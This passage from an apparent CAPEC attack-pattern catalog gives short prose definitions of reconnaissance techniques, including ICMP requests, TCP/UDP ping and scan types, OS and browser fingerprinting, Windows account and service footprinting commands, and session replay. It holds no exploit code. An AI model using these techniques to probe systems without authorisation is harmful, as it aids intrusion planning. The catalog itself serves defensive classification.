An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.

CAPEC-294: ICMP Address Mask Request

An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.

CAPEC-295: Timestamp Request

This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.

CAPEC-296: ICMP Information Request

An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.

CAPEC-297: TCP ACK Ping

An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.

CAPEC-298: UDP Ping

An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.

CAPEC-299: TCP SYN Ping

An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.

CAPEC-300: Port Scanning

An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.

CAPEC-301: TCP Connect Scan

An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.

CAPEC-302: TCP FIN Scan

An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

CAPEC-303: TCP Xmas Scan

An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

CAPEC-304: TCP Null Scan

An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

CAPEC-305: TCP ACK Scan

An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.

CAPEC-306: TCP Window Scan

An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.

CAPEC-307: TCP RPC Scan

An adversary scans for RPC services listing on a Unix/Linux host.

CAPEC-308: UDP Scan

An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.

CAPEC-309: Network Topology Mapping

An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.

CAPEC-310: Scanning for Vulnerable Software

An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.

CAPEC-312: Active OS Fingerprinting

An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.

CAPEC-313: Passive OS Fingerprinting

An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.

CAPEC-317: IP ID Sequencing Probe

This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.

CAPEC-318: IP 'ID' Echoed Byte-Order Probe

This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.

CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe

This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.

CAPEC-320: TCP Timestamp Probe

This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.

CAPEC-321: TCP Sequence Number Probe

This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.

CAPEC-322: TCP (ISN) Greatest Common Divisor Probe

This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.

CAPEC-323: TCP (ISN) Counter Rate Probe

This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.

CAPEC-324: TCP (ISN) Sequence Predictability Probe

This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.

CAPEC-325: TCP Congestion Control Flag (ECN) Probe

This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.

CAPEC-326: TCP Initial Window Size Probe

This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.

CAPEC-327: TCP Options Probe

This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.

CAPEC-328: TCP 'RST' Flag Checksum Probe

This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.

CAPEC-329: ICMP Error Message Quoting Probe

An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.

CAPEC-330: ICMP Error Message Echoing Integrity Probe

An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.

CAPEC-472: Browser Fingerprinting

An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.

CAPEC-497: File Discovery

An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.

CAPEC-508: Shoulder Surfing

In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.

CAPEC-573: Process Footprinting

An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.

CAPEC-574: Services Footprinting

An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.

CAPEC-575: Account Footprinting

An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".

CAPEC-576: Group Permission Footprinting

An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".

CAPEC-577: Owner Footprinting

An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-616: Establish Rogue Location

An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.

CAPEC-643: Identify Shared Files/Directories on System

An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.

CAPEC-646: Peripheral Footprinting

Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.

CAPEC-651: Eavesdropping

An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

← Back to the CWE list